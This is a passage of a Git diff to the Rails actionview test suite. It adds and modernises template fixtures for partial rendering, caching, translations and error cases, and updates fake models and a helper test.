+++ b/actionview/test/fixtures/test/_cached_set.erb
@@ -0,0 +1 @@
+<%= cached_set.first %> | <%= cached_set.second %> | <%= cached_set.third %> | <%= cached_set.fourth %> | <%= cached_set.fifth %>
diff --git a/actionview/test/fixtures/test/_content_tag_nested_in_content_tag_with_data_attributes_out_of_erb.erb b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag_with_data_attributes_out_of_erb.erb
new file mode 100644
index 0000000000000..716d03ee42ca2
--- /dev/null
+++ b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag_with_data_attributes_out_of_erb.erb
@@ -0,0 +1,4 @@
+<%= content_tag 'div', data: { controller: "read-more", 'read-more-more-text-value': "Read more", 'read-more-less-text-value': "Read less" } do %>
+  <%= content_tag('p', 'Content text', class: 'content-class', data: { 'test-name': "content" }) %>
+  <%= content_tag('button', 'Read more', class: 'expand-button', data: { action: 'read-more#toggle'}) %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_first.html.erb b/actionview/test/fixtures/test/_first.html.erb
new file mode 100644
index 0000000000000..2e2c825acb7be
--- /dev/null
+++ b/actionview/test/fixtures/test/_first.html.erb
@@ -0,0 +1 @@
+"HTML"
diff --git a/actionview/test/fixtures/test/_first.xml.erb b/actionview/test/fixtures/test/_first.xml.erb
new file mode 100644
index 0000000000000..9cf4f4ec85eef
--- /dev/null
+++ b/actionview/test/fixtures/test/_first.xml.erb
@@ -0,0 +1 @@
+"XML"
diff --git a/actionview/test/fixtures/test/_first_json_partial.json.erb b/actionview/test/fixtures/test/_first_json_partial.json.erb
index 790ee896dbeb0..a9950d8e280d2 100644
--- a/actionview/test/fixtures/test/_first_json_partial.json.erb
+++ b/actionview/test/fixtures/test/_first_json_partial.json.erb
@@ -1 +1 @@
-<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
+<%= render partial: "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_first_layer.html.erb b/actionview/test/fixtures/test/_first_layer.html.erb
new file mode 100644
index 0000000000000..c1f1acb410e06
--- /dev/null
+++ b/actionview/test/fixtures/test/_first_layer.html.erb
@@ -0,0 +1,4 @@
+{"format":"HTML", "children":
+[
+  <%= render(partial: "first").chomp.html_safe %>,
+]}
diff --git a/actionview/test/fixtures/test/_first_layer.xml.erb b/actionview/test/fixtures/test/_first_layer.xml.erb
new file mode 100644
index 0000000000000..b8581bbbfc533
--- /dev/null
+++ b/actionview/test/fixtures/test/_first_layer.xml.erb
@@ -0,0 +1,4 @@
+{"format":"XML", "children":
+[
+  <%= render(partial: "first").chomp.html_safe %>
+]}
diff --git a/actionview/test/fixtures/test/_js_html_fallback.html.erb b/actionview/test/fixtures/test/_js_html_fallback.html.erb
new file mode 100644
index 0000000000000..781e727ed9fb5
--- /dev/null
+++ b/actionview/test/fixtures/test/_js_html_fallback.html.erb
@@ -0,0 +1 @@
+<b>Hello from an HTML partial!</b>
diff --git a/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
index 820e7db789bfd..62a8af7cdf02b 100644
--- a/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
+++ b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
@@ -1,4 +1,4 @@
 Before
-<%= render :partial => "test/partial" %>
+<%= render partial: "test/partial" %>
 <%= yield %>
 After
diff --git a/actionview/test/fixtures/test/_multifetch.html.erb b/actionview/test/fixtures/test/_multifetch.html.erb
new file mode 100644
index 0000000000000..319eded50842b
--- /dev/null
+++ b/actionview/test/fixtures/test/_multifetch.html.erb
@@ -0,0 +1 @@
+<%= topic.title %>, rendered: <%= topic.updated_at %>
diff --git a/actionview/test/fixtures/test/_nested_cached_customer.erb b/actionview/test/fixtures/test/_nested_cached_customer.erb
new file mode 100644
index 0000000000000..f43adc94c9f79
--- /dev/null
+++ b/actionview/test/fixtures/test/_nested_cached_customer.erb
@@ -0,0 +1 @@
+<%= render partial: "test/cached_customer", locals: { cached_customer: cached_customer } %>
diff --git a/actionview/test/fixtures/test/_one.html.erb b/actionview/test/fixtures/test/_one.html.erb
index f796291cb4078..4a42b079a1532 100644
--- a/actionview/test/fixtures/test/_one.html.erb
+++ b/actionview/test/fixtures/test/_one.html.erb
@@ -1 +1 @@
-<%= render :partial => "two" %> world
+<%= render partial: "two" %> world
diff --git a/actionview/test/fixtures/test/_partial_with_layout.erb b/actionview/test/fixtures/test/_partial_with_layout.erb
index 2a50c834fec96..bf673d8ea61b9 100644
--- a/actionview/test/fixtures/test/_partial_with_layout.erb
+++ b/actionview/test/fixtures/test/_partial_with_layout.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } %>
+<%= render partial: 'test/partial', layout: 'test/layout_for_partial', locals: { name: 'Bar!' } %>
 partial with layout
diff --git a/actionview/test/fixtures/test/_partial_with_layout_block_content.erb b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
index 65dafd93a8566..b4e6587237456 100644
--- a/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
+++ b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
@@ -1,4 +1,4 @@
-<%= render :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } do %>
+<%= render layout: 'test/layout_for_partial', locals: { name: 'Bar!' } do %>
   Content from inside layout!
 <% end %>
 partial with layout
diff --git a/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
index 444197a7d060b..68f74947bd5f2 100644
--- a/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
+++ b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
@@ -1,4 +1,4 @@
-<%= render :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } do %>
+<%= render layout: 'test/layout_for_partial', locals: { name: 'Bar!' } do %>
   <%= render 'test/partial' %>
 <% end %>
 partial with layout
diff --git a/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
index 00e6b6d6dae3b..1a1abfa3f1f9f 100644
--- a/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
+++ b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
@@ -1 +1 @@
-partial with only html version
\ No newline at end of file
+partial with only HTML version
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_with_variants.html+grid.erb b/actionview/test/fixtures/test/_partial_with_variants.html+grid.erb
new file mode 100644
index 0000000000000..225363c8c3a8f
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_variants.html+grid.erb
@@ -0,0 +1 @@
+<h1>Partial with variants</h1>
diff --git a/actionview/test/fixtures/test/_second.html.erb b/actionview/test/fixtures/test/_second.html.erb
new file mode 100644
index 0000000000000..2e2c825acb7be
--- /dev/null
+++ b/actionview/test/fixtures/test/_second.html.erb
@@ -0,0 +1 @@
+"HTML"
diff --git a/actionview/test/fixtures/test/_second.xml.erb b/actionview/test/fixtures/test/_second.xml.erb
new file mode 100644
index 0000000000000..9cf4f4ec85eef
--- /dev/null
+++ b/actionview/test/fixtures/test/_second.xml.erb
@@ -0,0 +1 @@
+"XML"
diff --git a/actionview/test/fixtures/test/_second_layer.html.erb b/actionview/test/fixtures/test/_second_layer.html.erb
new file mode 100644
index 0000000000000..307706abd2b3d
--- /dev/null
+++ b/actionview/test/fixtures/test/_second_layer.html.erb
@@ -0,0 +1,4 @@
+{"format":"HTML", "children":
+[
+  <%= render(partial: "first").chomp.html_safe %>
+]}
diff --git a/actionview/test/fixtures/test/_second_layer.xml.erb b/actionview/test/fixtures/test/_second_layer.xml.erb
new file mode 100644
index 0000000000000..b8581bbbfc533
--- /dev/null
+++ b/actionview/test/fixtures/test/_second_layer.xml.erb
@@ -0,0 +1,4 @@
+{"format":"XML", "children":
+[
+  <%= render(partial: "first").chomp.html_safe %>
+]}
diff --git a/actionview/test/fixtures/test/_template_not_named_customer.html.erb b/actionview/test/fixtures/test/_template_not_named_customer.html.erb
new file mode 100644
index 0000000000000..4affb06e7811e
--- /dev/null
+++ b/actionview/test/fixtures/test/_template_not_named_customer.html.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name %>
diff --git a/actionview/test/fixtures/test/cache_fragment_inside_render_layout_block_1.html.erb b/actionview/test/fixtures/test/cache_fragment_inside_render_layout_block_1.html.erb
new file mode 100644
index 0000000000000..60ec279ff480e
--- /dev/null
+++ b/actionview/test/fixtures/test/cache_fragment_inside_render_layout_block_1.html.erb
@@ -0,0 +1 @@
+<%= render layout: "layouts/yield_only" do %><%= cache "foo" do %>CAT<% end %><% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/cache_fragment_inside_render_layout_block_2.html.erb b/actionview/test/fixtures/test/cache_fragment_inside_render_layout_block_2.html.erb
new file mode 100644
index 0000000000000..49df88f56cc48
--- /dev/null
+++ b/actionview/test/fixtures/test/cache_fragment_inside_render_layout_block_2.html.erb
@@ -0,0 +1 @@
+<%= render layout: "layouts/yield_only" do %><%= cache "foo" do %>DOG<% end %><% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/caching_predicate.html.erb b/actionview/test/fixtures/test/caching_predicate.html.erb
new file mode 100644
index 0000000000000..8b329300676a5
--- /dev/null
+++ b/actionview/test/fixtures/test/caching_predicate.html.erb
@@ -0,0 +1,3 @@
+<%= cache "foo" do %>
+  <%= "Cached!" if caching? %>
+<% end %>
diff --git a/actionview/test/fixtures/test/caching_predicate_outside_cache.html.erb b/actionview/test/fixtures/test/caching_predicate_outside_cache.html.erb
new file mode 100644
index 0000000000000..6d7e2d6c9c1cf
--- /dev/null
+++ b/actionview/test/fixtures/test/caching_predicate_outside_cache.html.erb
@@ -0,0 +1 @@
+<%= "Not cached!" unless caching? %>
diff --git a/actionview/test/fixtures/test/change_priority.html.erb b/actionview/test/fixtures/test/change_priority.html.erb
index 5618977d057ba..5c5f1916b6c11 100644
--- a/actionview/test/fixtures/test/change_priority.html.erb
+++ b/actionview/test/fixtures/test/change_priority.html.erb
@@ -1,2 +1,2 @@
-<%= render :partial => "test/json_change_priority", formats: :json %>
-HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
+<%= render partial: "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render partial: "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/dont_pick_me b/actionview/test/fixtures/test/dont_pick_me
deleted file mode 100644
index 0157c9e5039ba..0000000000000
--- a/actionview/test/fixtures/test/dont_pick_me
+++ /dev/null
@@ -1 +0,0 @@
-non-template file
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/test/dot.directory/render_template_with_ivar.erb
similarity index 100%
rename from actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
rename to actionview/test/fixtures/test/dot.directory/render_template_with_ivar.erb
diff --git a/actionview/test/fixtures/test/hello.builder b/actionview/test/fixtures/test/hello.builder
index a471553941ed1..4c34ee85f02d5 100644
--- a/actionview/test/fixtures/test/hello.builder
+++ b/actionview/test/fixtures/test/hello.builder
@@ -1,4 +1,4 @@
 xml.html do
   xml.p "Hello #{@name}"
-  xml << render(:file => "test/greeting")
-end
\ No newline at end of file
+  xml << render(template: "test/greeting")
+end
diff --git a/actionview/test/fixtures/test/hello_world.erb~ b/actionview/test/fixtures/test/hello_world.erb~
deleted file mode 100644
index 21934a1c95916..0000000000000
--- a/actionview/test/fixtures/test/hello_world.erb~
+++ /dev/null
@@ -1 +0,0 @@
-Don't pick me!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/html_template.html.erb b/actionview/test/fixtures/test/html_template.html.erb
index 1bbc2b7f09bf9..f4664b6eef6a5 100644
--- a/actionview/test/fixtures/test/html_template.html.erb
+++ b/actionview/test/fixtures/test/html_template.html.erb
@@ -1 +1 @@
-<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
+<%= render partial: "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/js_html_fallback.js.erb b/actionview/test/fixtures/test/js_html_fallback.js.erb
new file mode 100644
index 0000000000000..8c81cac172db2
--- /dev/null
+++ b/actionview/test/fixtures/test/js_html_fallback.js.erb
@@ -0,0 +1 @@
+document.write("<%= j render(partial: "js_html_fallback").chomp.html_safe %>")
diff --git a/actionview/test/fixtures/test/layout_render_file.erb b/actionview/test/fixtures/test/layout_render_file.erb
index 2f8e921c5f853..0477743dc4b7e 100644
--- a/actionview/test/fixtures/test/layout_render_file.erb
+++ b/actionview/test/fixtures/test/layout_render_file.erb
@@ -1,2 +1,2 @@
 <% content_for :title do %>title<% end -%>
-<%= render :file => 'layouts/yield' -%>
\ No newline at end of file
+<%= render template: 'layouts/yield' -%>
diff --git a/actionview/test/fixtures/test/layout_render_object.erb b/actionview/test/fixtures/test/layout_render_object.erb
index acc4453c080c9..4aa72412a1bf0 100644
--- a/actionview/test/fixtures/test/layout_render_object.erb
+++ b/actionview/test/fixtures/test/layout_render_object.erb
@@ -1 +1 @@
-<%= render :layout => "layouts/customers" do |customer| %><%= customer.name %><% end %>
\ No newline at end of file
+<%= render layout: "layouts/customers" do |customer| %><%= customer.name %><% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/list.erb b/actionview/test/fixtures/test/list.erb
index 0a4bda58ee2c8..66ff70c2ccaa0 100644
--- a/actionview/test/fixtures/test/list.erb
+++ b/actionview/test/fixtures/test/list.erb
@@ -1 +1 @@
-<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
+<%= @test_unchanged = 'goodbye' %><%= render partial: 'customer', collection: @customers %><%= @test_unchanged %>
diff --git a/actionview/test/fixtures/test/mixing_formats.html.erb b/actionview/test/fixtures/test/mixing_formats.html.erb
new file mode 100644
index 0000000000000..c65cdd7dd4b7a
--- /dev/null
+++ b/actionview/test/fixtures/test/mixing_formats.html.erb
@@ -0,0 +1,5 @@
+{"format":"HTML", "children":
+[
+  <%= render(partial: "first", formats: :xml).chomp.html_safe %>,
+  <%= render(partial: "second").chomp.html_safe %>
+]}
diff --git a/actionview/test/fixtures/test/mixing_formats_deep.html.erb b/actionview/test/fixtures/test/mixing_formats_deep.html.erb
new file mode 100644
index 0000000000000..e328887eebbc8
--- /dev/null
+++ b/actionview/test/fixtures/test/mixing_formats_deep.html.erb
@@ -0,0 +1,5 @@
+{"format":"HTML", "children":
+[
+  <%= render(partial: "first_layer", formats: :xml).chomp.html_safe %>,
+  <%= render(partial: "second_layer").chomp.html_safe %>
+]}
diff --git a/actionview/test/fixtures/test/nested_layout.erb b/actionview/test/fixtures/test/nested_layout.erb
index 6078f74b4cae7..ea2a882b349ed 100644
--- a/actionview/test/fixtures/test/nested_layout.erb
+++ b/actionview/test/fixtures/test/nested_layout.erb
@@ -1,3 +1,3 @@
 <% content_for :title, "title" -%>
 <% content_for :column do -%>column<% end -%>
-<%= render :layout => 'layouts/column' do -%>content<% end -%>
\ No newline at end of file
+<%= render layout: 'layouts/column' do -%>content<% end -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/nested_streaming.erb b/actionview/test/fixtures/test/nested_streaming.erb
index 55525e0c92010..44976cf1cc39c 100644
--- a/actionview/test/fixtures/test/nested_streaming.erb
+++ b/actionview/test/fixtures/test/nested_streaming.erb
@@ -1,3 +1,3 @@
 <%- content_for :header do -%>?<%- end -%>
-<%= render :template => "test/streaming" %>
+<%= render template: "test/streaming" %>
 ?
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/one.html.erb b/actionview/test/fixtures/test/one.html.erb
index 0151874809362..a3136cc13aac7 100644
--- a/actionview/test/fixtures/test/one.html.erb
+++ b/actionview/test/fixtures/test/one.html.erb
@@ -1 +1 @@
-<%= render :partial => "test/two" %> world
\ No newline at end of file
+<%= render partial: "test/two" %> world
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_instance_variable.erb b/actionview/test/fixtures/test/render_file_instance_variable.erb
deleted file mode 100644
index 5344ac8a66463..0000000000000
--- a/actionview/test/fixtures/test/render_file_instance_variable.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= @foo %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_file_with_ivar.erb b/actionview/test/fixtures/test/render_template_with_ivar.erb
similarity index 100%
rename from actionview/test/fixtures/test/render_file_with_ivar.erb
rename to actionview/test/fixtures/test/render_template_with_ivar.erb
diff --git a/actionview/test/fixtures/test/render_file_with_locals.erb b/actionview/test/fixtures/test/render_template_with_locals.erb
similarity index 100%
rename from actionview/test/fixtures/test/render_file_with_locals.erb
rename to actionview/test/fixtures/test/render_template_with_locals.erb
diff --git a/actionview/test/fixtures/test/render_two_partials.html.erb b/actionview/test/fixtures/test/render_two_partials.html.erb
index 3db6025860a2c..4b48017566824 100644
--- a/actionview/test/fixtures/test/render_two_partials.html.erb
+++ b/actionview/test/fixtures/test/render_two_partials.html.erb
@@ -1,2 +1,2 @@
-<%= render :partial => 'partial', :locals => {'first' => '1'} %>
-<%= render :partial => 'partial', :locals => {'second' => '2'} %>
+<%= render partial: 'partial', locals: {'first' => '1'} %>
+<%= render partial: 'partial', locals: {'second' => '2'} %>
diff --git a/actionview/test/fixtures/test/runtime_error.html.erb b/actionview/test/fixtures/test/runtime_error.html.erb
new file mode 100644
index 0000000000000..f1151b1517008
--- /dev/null
+++ b/actionview/test/fixtures/test/runtime_error.html.erb
@@ -0,0 +1,6 @@
+<h1>Oh no!</h1>
+This template has a runtime error
+<b>
+  <%= method_that_does_not_exist %>
+</b>
+Yikes!
diff --git a/actionview/test/fixtures/test/streaming_with_locale.erb b/actionview/test/fixtures/test/streaming_with_locale.erb
new file mode 100644
index 0000000000000..b0f2b2f7e9ca4
--- /dev/null
+++ b/actionview/test/fixtures/test/streaming_with_locale.erb
@@ -0,0 +1 @@
+view.locale: <%= I18n.locale %>
diff --git a/actionview/test/fixtures/test/sub_template_raise.html.erb b/actionview/test/fixtures/test/sub_template_raise.html.erb
index f38c0bda90ebc..07e19a4ee20e8 100644
--- a/actionview/test/fixtures/test/sub_template_raise.html.erb
+++ b/actionview/test/fixtures/test/sub_template_raise.html.erb
@@ -1 +1 @@
-<%= render :partial => "test/raise" %>
\ No newline at end of file
+<%= render partial: "test/raise" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/syntax_error.html.erb b/actionview/test/fixtures/test/syntax_error.html.erb
new file mode 100644
index 0000000000000..4004a2b1870aa
--- /dev/null
+++ b/actionview/test/fixtures/test/syntax_error.html.erb
@@ -0,0 +1,4 @@
+<%= foo(
+  1,
+  2,
+%>
diff --git a/actionview/test/fixtures/test/uncacheable.html.erb b/actionview/test/fixtures/test/uncacheable.html.erb
new file mode 100644
index 0000000000000..227c83d0c07d7
--- /dev/null
+++ b/actionview/test/fixtures/test/uncacheable.html.erb
@@ -0,0 +1,3 @@
+<%= cache "uhoh" do %>
+  <%= uncacheable! %>
+<% end %>
diff --git a/actionview/test/fixtures/test/unparseable_runtime_error.html.erb b/actionview/test/fixtures/test/unparseable_runtime_error.html.erb
new file mode 100644
index 0000000000000..96bcf4443d9ca
--- /dev/null
+++ b/actionview/test/fixtures/test/unparseable_runtime_error.html.erb
@@ -0,0 +1,8 @@
+<h1>Oh no!</h1>
+This template has a runtime error
+<b>
+  <% if true %>
+    <%= method_that_does_not_exist %>
+  <% end %>
+</b>
+Yikes!
diff --git a/actionview/test/fixtures/test/unparseable_runtime_error_2.html.erb b/actionview/test/fixtures/test/unparseable_runtime_error_2.html.erb
new file mode 100644
index 0000000000000..06c5a835fe966
--- /dev/null
+++ b/actionview/test/fixtures/test/unparseable_runtime_error_2.html.erb
@@ -0,0 +1,8 @@
+<h1>Oh no!</h1>
+This template has a runtime error
+<b>
+  <% if true %>
+    <%= method_that_does_not_exist %>a
+  <% end %>
+</b>
+Yikes!
diff --git a/actionview/test/fixtures/test/utf8.html.erb b/actionview/test/fixtures/test/utf8.html.erb
index ac98c2f012bb4..5779342105fbe 100644
--- a/actionview/test/fixtures/test/utf8.html.erb
+++ b/actionview/test/fixtures/test/utf8.html.erb
@@ -1,4 +1,4 @@
-Ру��кий <%= render :partial => 'test/utf8_partial' %>
+Ру��кий <%= render partial: 'test/utf8_partial' %>
 <%= "æ—¥".encoding %>
 <%= @output_buffer.encoding %>
 <%= __ENCODING__ %>
diff --git a/actionview/test/fixtures/test/utf8_magic.html.erb b/actionview/test/fixtures/test/utf8_magic.html.erb
index 257279c29f0bd..41501b7af73a9 100644
--- a/actionview/test/fixtures/test/utf8_magic.html.erb
+++ b/actionview/test/fixtures/test/utf8_magic.html.erb
@@ -1,5 +1,5 @@
 <%# encoding: utf-8 -%>
-Ру��кий <%= render :partial => 'test/utf8_partial_magic' %>
+Ру��кий <%= render partial: 'test/utf8_partial_magic' %>
 <%= "æ—¥".encoding %>
 <%= @output_buffer.encoding %>
 <%= __ENCODING__ %>
diff --git a/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
index cb22692f9a18b..d9c231c84a475 100644
--- a/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
+++ b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
@@ -1,5 +1,5 @@
 <%# encoding: utf-8 -%>
-Ру��кий <%= render :partial => 'test/utf8_partial' %>
+Ру��кий <%= render partial: 'test/utf8_partial' %>
 <%= "æ—¥".encoding %>
 <%= @output_buffer.encoding %>
 <%= __ENCODING__ %>
diff --git a/actionview/test/fixtures/topic.rb b/actionview/test/fixtures/topic.rb
index 48a3dfba8882a..ff194ce567b7f 100644
--- a/actionview/test/fixtures/topic.rb
+++ b/actionview/test/fixtures/topic.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Topic < ActiveRecord::Base
   has_many :replies, dependent: :destroy
 end
diff --git a/actionview/test/fixtures/topics.yml b/actionview/test/fixtures/topics.yml
index 7fdd49d54e2cf..7301b6940e716 100644
--- a/actionview/test/fixtures/topics.yml
+++ b/actionview/test/fixtures/topics.yml
@@ -1,9 +1,9 @@
 futurama:
   id: 1
-  title: Isnt futurama awesome?
-  subtitle: It really is, isnt it.
+  title: Isn't futurama awesome?
+  subtitle: It really is, isn't it.
   content: I like futurama
-  created_at: <%= 1.day.ago.to_s(:db) %>
+  created_at: <%= 1.day.ago.to_fs(:db) %>
   updated_at:
 
 harvey_birdman:
@@ -11,7 +11,7 @@ harvey_birdman:
   title: Harvey Birdman is the king of all men
   subtitle: yup
   content: It really is
-  created_at: <%= 2.hours.ago.to_s(:db) %>
+  created_at: <%= 2.hours.ago.to_fs(:db) %>
   updated_at:
 
 rails:
@@ -19,4 +19,4 @@ rails:
   title: Rails is nice
   subtitle: It makes me happy
   content: except when I have to hack internals to fix pagination. even then really.
-  created_at: <%= 20.minutes.ago.to_s(:db) %>
+  created_at: <%= 20.minutes.ago.to_fs(:db) %>
diff --git a/actionview/test/fixtures/translations/templates/_partial.html.erb b/actionview/test/fixtures/translations/templates/_partial.html.erb
new file mode 100644
index 0000000000000..cb17d29c8c197
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/_partial.html.erb
@@ -0,0 +1,2 @@
+<%= t('.foo') %>
+<%= yield %>
diff --git a/actionview/test/fixtures/translations/templates/found_yield_block.html.erb b/actionview/test/fixtures/translations/templates/found_yield_block.html.erb
new file mode 100644
index 0000000000000..41c5f74fdb83e
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/found_yield_block.html.erb
@@ -0,0 +1,3 @@
+<%= t('.foo') do |translation, key| %>
+  <%= key %>: <%= translation %>
+<% end %>
diff --git a/actionview/test/fixtures/translations/templates/found_yield_single_argument.html.erb b/actionview/test/fixtures/translations/templates/found_yield_single_argument.html.erb
new file mode 100644
index 0000000000000..e59e6a1ed477e
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/found_yield_single_argument.html.erb
@@ -0,0 +1,3 @@
+<%= t('.foo') do |translation| %>
+  <%= translation %>
+<% end %>
diff --git a/actionview/test/fixtures/translations/templates/missing_with_default_yield_block.erb b/actionview/test/fixtures/translations/templates/missing_with_default_yield_block.erb
new file mode 100644
index 0000000000000..c6d374075afd9
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/missing_with_default_yield_block.erb
@@ -0,0 +1,3 @@
+<%= translate(".missing", default: "Default") do |translation, key| %>
+  <%= key %>: <%= translation %>
+<% end %>
diff --git a/actionview/test/fixtures/translations/templates/missing_with_default_yield_single_argument_block.erb b/actionview/test/fixtures/translations/templates/missing_with_default_yield_single_argument_block.erb
new file mode 100644
index 0000000000000..0f65f52d1a546
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/missing_with_default_yield_single_argument_block.erb
@@ -0,0 +1,3 @@
+<%= translate(".missing", default: "Default") do |translation| %>
+  <%= translation %>
+<% end %>
diff --git a/actionview/test/fixtures/translations/templates/missing_yield_block.erb b/actionview/test/fixtures/translations/templates/missing_yield_block.erb
new file mode 100644
index 0000000000000..f421038ae61d7
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/missing_yield_block.erb
@@ -0,0 +1,3 @@
+<%= t('.missing') do |translation, key| %>
+  <%= key %>: <%= translation %>
+<% end %>
diff --git a/actionview/test/fixtures/translations/templates/missing_yield_single_argument_block.erb b/actionview/test/fixtures/translations/templates/missing_yield_single_argument_block.erb
new file mode 100644
index 0000000000000..fe8d2814f0b67
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/missing_yield_single_argument_block.erb
@@ -0,0 +1,3 @@
+<%= t('.missing') do |translation| %>
+  <%= translation %>
+<% end %>
diff --git a/actionview/test/fixtures/translations/templates/partial_lazy_translation.html.erb b/actionview/test/fixtures/translations/templates/partial_lazy_translation.html.erb
new file mode 100644
index 0000000000000..ca58447e985da
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/partial_lazy_translation.html.erb
@@ -0,0 +1 @@
+<%= render("translations/templates/partial") %>
diff --git a/actionview/test/fixtures/translations/templates/partial_lazy_translation_block.html.erb b/actionview/test/fixtures/translations/templates/partial_lazy_translation_block.html.erb
new file mode 100644
index 0000000000000..3415d9fa932e9
--- /dev/null
+++ b/actionview/test/fixtures/translations/templates/partial_lazy_translation_block.html.erb
@@ -0,0 +1,2 @@
+<%= render("translations/templates/partial") do %>
+<% end %>
diff --git a/actionview/test/fixtures/with_format.json.erb b/actionview/test/fixtures/with_format.json.erb
index a7f480ab1d5fb..1b1d4e82f2a40 100644
--- a/actionview/test/fixtures/with_format.json.erb
+++ b/actionview/test/fixtures/with_format.json.erb
@@ -1 +1 @@
-<%= render :partial => 'missing', :formats => [:json] %>
+<%= render partial: 'missing', formats: [:json] %>
diff --git a/actionview/test/lib/controller/fake_models.rb b/actionview/test/lib/controller/fake_models.rb
index 5250101220351..889d200712d17 100644
--- a/actionview/test/lib/controller/fake_models.rb
+++ b/actionview/test/lib/controller/fake_models.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_model"
 
 Customer = Struct.new(:name, :id) do
@@ -162,6 +164,17 @@ def name
   end
 end
 
+class HashWithIndifferentAccessBackedAuthor < HashWithIndifferentAccess
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  def persisted?; false; end
+
+  def name
+    "hash backed author"
+  end
+end
+
 module Blog
   def self.use_relative_model_naming?
     true
@@ -181,9 +194,9 @@ class ArelLike
   def to_ary
     true
   end
-  def each
+  def each(&block)
     a = Array.new(2) { |id| Comment.new(id + 1) }
-    a.each { |i| yield i }
+    a.each(&block)
   end
 end
 
@@ -192,11 +205,40 @@ def each
 class Plane
   attr_reader :to_key
 
-  def model_name
-    OpenStruct.new param_key: "airplane"
+  class << self
+    def model_name
+      Struct.new(:param_key).new("airplane")
+    end
   end
 
+  delegate :model_name, to: :class
+
   def save
     @to_key = [1]
   end
 end
+
+module Cpk
+  class Book < Struct.new(:author_id, :id, :title)
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    def initialize(author_id: nil, id: nil, title: nil)
+      self.author_id = author_id
+      self.title = title
+      self.id = id
+    end
+
+    def persisted?
+      id.all?
+    end
+
+    def id
+      [@author_id, @id]
+    end
+
+    def id=(id)
+      @author_id, @id = Array(id)
+    end
+  end
+end
diff --git a/actionview/test/lib/test_renderable.rb b/actionview/test/lib/test_renderable.rb
new file mode 100644
index 0000000000000..c2b7411e14c30
--- /dev/null
+++ b/actionview/test/lib/test_renderable.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class TestRenderable
+  def render_in(_view_context)
+    "Hello, World!"
+  end
+end
diff --git a/actionview/test/template/active_model_helper_test.rb b/actionview/test/template/active_model_helper_test.rb
index 6b63aa25a5ce5..c0e425c960f24 100644
--- a/actionview/test/template/active_model_helper_test.rb
+++ b/actionview/test/template/active_model_helper_test.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ActiveModelHelperTest < ActionView::TestCase
   tests ActionView::Helpers::ActiveModelHelper
 
   silence_warnings do
-    Post = Struct.new(:author_name, :body, :updated_at) do
+    Post = Struct.new(:author_name, :body, :category, :published, :updated_at) do
       include ActiveModel::Conversion
       include ActiveModel::Validations
 
@@ -18,19 +20,23 @@ def setup
     super
 
     @post = Post.new
-    @post.errors[:author_name] << "can't be empty"
-    @post.errors[:body] << "foo"
-    @post.errors[:updated_at] << "bar"
+    @post.errors.add(:author_name, "can't be empty")
+    @post.errors.add(:body, "foo")
